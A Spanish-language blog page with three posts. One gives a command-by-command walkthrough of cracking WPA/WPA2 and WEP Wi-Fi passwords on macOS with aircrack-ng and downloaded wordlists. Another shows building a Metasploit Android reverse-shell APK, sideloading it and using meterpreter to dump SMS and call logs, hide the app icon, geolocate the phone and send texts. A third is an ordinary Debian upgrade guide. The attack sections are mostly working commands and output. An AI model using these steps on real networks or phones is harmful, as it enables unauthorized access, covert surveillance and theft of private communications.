domingo, 28 de mayo de 2017

Hacking WPA y WPA2 por Fuerza Bruta desde MacOS



Escaneamos con airport para detectar todas las wifi disponibles. La que aparece en rojo es mi WiFi que intentaré romper:

MacBook:~ root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
                            SSID BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
                   Speedy-B00FE4 f8:8f:97:b0:0f:ed -76  1       N  -- WEP
                   Speedy-CB6F98 e0:19:1d:cb:6f:a0 -57  1       Y  AR WPA(PSK/TKIP,AES/TKIP) WPA2(PSK/TKIP,AES/TKIP)
                       Btzl-wifi 00:e0:4d:80:d2:94 -73  9       N  -- WPA(PSK/TKIP/TKIP)
                           Jotan a4:2b:b0:d7:69:50 -59  10,-1   Y  -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
                           Mi_Wifi c9:d6:fe:7d:ef:a8 -39  6       N  -- WPA2(PSK/TKIP/TKIP) 


En el comando previo obtenemos el canal de la wifi WPA2 que queremos romper (canal 6). El en0 es el nombre de la interface wifi de mi mac. Lo dejamos corriendo para que capture:

MacBook:~ root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 6
Capturing 802.11 frames on en0.


Abrimos otra terminal mientras y dejamos pingueamos a cualquier ip para generar tráfico:

MacBook:~ root# ping 8.8.8.8
Request timeout for icmp_seq 135
ping: sendto: No route to host
Request timeout for icmp_seq 136
ping: sendto: No route to host


Creamos la lista de posibles password, obviamente que yo puse la mía que sabía que era, si no la conocemos tenemos que bajar alguna wordlist de internet ó generar todas las posibles combinaciones con algun programa. Yo puse pocos password para que finalice rápido el proceso.

MacBook:~ root# vi wordlist.lst
algo
alguna
Cualquiera
laClaveWifi
Admin
password
pass
1234
….
clave


Empezamos a romper usando fuerza bruta desde la lista de posibles contraseñas (wordlist.lst), luego del -b pondremos el BSSID de la wifi elegida para romper y por último parámetro indicamos el archivo .cap que fue generado con el airport (2 comando ejecutado).

MacBook:~ root# aircrack-ng -w wordlist.lst -b c9:d6:fe:7d:ef:a8 /tmp/airportSniffC5nL70.cap
Opening /tmp/airportSniffC5nL70.cap
Reading packets, please wait...
                                 Aircrack-ng 1.1
                   [00:00:00] 4 keys tested (280.31 k/s)
                          KEY FOUND! [ laClaveWifi ]



Cuando aparece KEY FOUND ya tenemos la clave, es la que aparece entre corchetes, en este caso es: laClaveWifi


Se pueden bajar wordlist de varios lugares, por ejemplo acá les dejo una en español para que prueben: https://packetstormsecurity.com/files/download/32018/spanish.gz ó de cualquier idioma: https://packetstormsecurity.com/Crackers/wordlists/language/


Crackeando WPE WiFi con AirCrack-NG desde Mac



Descargar e instalar brew para instalar otros paquetes:

$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"


Instalar el Xcode del Apple Store:



Instalamos Aircrack-ng con el gestor brew:

$ brew install aircrack-ng


Ver canales para sniffear:

root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
SSID                      BSSID                   RSSI   CHANNEL HT CC  SECURITY (auth/unicast/group)
Speedy-4325C1     34:4b:50:42:55:c1 -85      1                  N     --   WEP
Speedy-B11FE4    f2:31:98:b1:0f:ed    -79      1                  N     --   WEP
Speedy-AB1J4C    c3:d6:fa:71:3e:68   -82      11                 N     --   WEP


El en0 es la interface wifi y el 11 es el canal del comando previo. Este comando generará un .cap en el /tmp que utilizaremos posteriormente. Tenemos que dejar que corra un largo rato.
root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 11 
Capturing 802.11 frames on en0.

Ejecutamos por ultimo el aircrack con la mac del SSID a crackear y la ruta al .cap generado por el comando anterior:

root# aircrack-ng -1 -a 1 -b c3:d6:fa:71:3e:68 /tmp/airportSniffmNzwZc.cap


Finalmente aparecerá algo similar a lo siguiente como resultado si logró romper la wifi: 

KEY FOUND! [ 32:30:65:61:63 ] (ASCII: 20eac )

Decrypted correctly: 100%


Para conectarnos a la wifi tendremos que conectarnos a la red seleccionada:

SSID: Speedy-AB1J4C
Password: 3230656163


jueves, 25 de mayo de 2017

Instalando y usando Metasploit en MacBook Sierra para Acceder a un Android


1) Descargamos el paquete de:
 http://osx.metasploit.com/metasploit-framework-4.14.22%2B20170525092251-1rapid7-1.pkg


2) Instalamos por defecto, aceptamos términos y condiciones.


3) Agregamos los alias ó también podemos agregar la ruta al path de ejecución:
$ alias msfconsole='/opt/metasploit-framework/bin/msfconsole' 
$ alias msfvenom='/opt/metasploit-framework/bin/msfvenom'


4) Generamos la aplicación la cual se conectará a la pc atacante, ponemos un payload de shell reversa, el LHOST es la ip de la mac y la ruta donde mandaremos la aplicacion que instalaremos en el android:
$ msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.42 R > Desktop/Aplicacion.apk 
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8779 bytes


5) Ahora hay que copiarlo al android al cual "atacaremos", ahi esta en cada uno como pasarlo, yo lo pasé en mi celular mediante dropbox, instalarlo. 6) Desde la mac abrimos el msfconsole:
$ msfconsole 


7) Indicamos el exploit, el payload el host remoto y el host local, ejecutamos el exploit y luego ejecutamos la aplicación desde el android:

msf > use exploit/multi/handler

msf exploit(handler) > set payload android/meterpreter/reverse_tcp 
payload => android/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.42
LHOST => 192.168.1.42

msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.1.42:4444 
[*] Starting the payload handler...
[*] Sending stage (68443 bytes) to 192.168.1.39
[*] Meterpreter session 1 opened (192.168.1.42:4444 -> 192.168.1.39:59209) at 2017-05-25 23:03:51 -0300
[*] Sending stage (68443 bytes) to 192.168.1.39
[*] Meterpreter session 2 opened (192.168.1.42:4444 -> 192.168.1.39:39350) at 2017-05-25 23:03:52 -0300
[*] Sending stage (68443 bytes) to 192.168.1.39
[*] Meterpreter session 3 opened (192.168.1.42:4444 -> 192.168.1.39:37856) at 2017-05-25 23:03:52 -0300

[-] Failed to load client script file: /opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb


8) Ya tenemos la sesión iniciada, vamos a bajar los mensajes:
meterpreter > dump_sms [*] Fetching 9 sms messages [*] SMS messages saved to: sms_dump_20170525230451.txt meterpreter >


9) Descargamos las llamadas:
meterpreter > dump_calllog
[*] Fetching 5 entries [*] Call log saved to calllog_dump_20170525230542.txt meterpreter >


10) Ocultamos el icono de la aplicación:
meterpreter > hide_app_icon
[*] Activity MainActivity was hidden


11) Obtenemos la ubicación geográfica mediante la wifi a la cual se conectó:
meterpreter > wlan_geolocate
[*] Google indicates the device is within 150 meters of -xx.yyyyy.xxxx. [*] Google Maps URL: https://maps.google.com/?q=-xx.yyyyy.xxxx meterpreter >


12) Mandamos un msj de texto al celular 01234567890 con el mensaje -> desde el atacante:
meterpreter > send_sms -d "01234567890” -t "Desde el atacante”
[+] SMS sent - Transmission successful


viernes, 5 de mayo de 2017

Upgrade debian 6 a debian 8

Primero actualizamos de Debian 6 a 7:

Editamos el source list con lo siguientte:

root@DEBIAN:~# vim /etc/apt/sources.list
deb http://mirrors.kernel.org/debian/ wheezy main
deb-src http://mirrors.kernel.org/debian/ wheezy main
deb http://security.debian.org/ wheezy/updates main
deb-src http://security.debian.org/ wheezy/updates main


Update y upgrade: 

root@DEBIAN:~# apt-get update && apt-get upgrade


Vemos que imagen tenemos:

root@DEBIAN:~# dpkg -l |grep linux-image
ii  linux-image-2.6-amd64               2.6.32+29                        amd64        Linux 2.6 for 64-bit PCs (meta-package)
ii  linux-image-2.6.32-5-amd64          2.6.32-26.xs5.6.100.254          amd64        Linux 2.6.32 for 64-bit PCs


Instalamos la imagen:

root@DEBIAN:~# apt-get install linux-image-2.6-amd64


Actualizamos el gestor de arranque, me consultó en que disco, le di el /dev/sda:

root@DEBIAN:~# update-grub


Instalamos udev:

root@DEBIAN:~# apt-get install udev


Actualizamos a 7:

root@DEBIAN:~# apt-get dist-upgrade


Ahora vamos de Debian 7 a 8:

Lo mismo que antes:

root@DEBIAN:~# apt-get update && apt-get upgrade


Editamos el source, pero vemos que esta vez tiene el jessie:

root@DEBIAN:~# vi /etc/apt/sources.list
deb http://debian.osuosl.org/debian jessie main non-free contrib
deb-src http://debian.osuosl.org/debian jessie main non-free contrib
deb http://security.debian.org/ jessie/updates main contrib non-free
deb-src http://security.debian.org/ jessie/updates main contrib non-free
# jessie-updates, previously known as 'volatile'
deb http://debian.osuosl.org/debian jessie-updates main contrib non-free
deb-src http://debian.osuosl.org/debian jessie-updates main contrib non-free


Y lo demás igual que en la primer parte:

root@DEBIAN:~# apt-get update
root@DEBIAN:~# apt-get upgrade
root@DEBIAN:~# apt-get dist-upgrade


Vemos que tenemos en 8:

root@DEBIAN:~#  cat /etc/issue.net
Debian GNU/Linux 8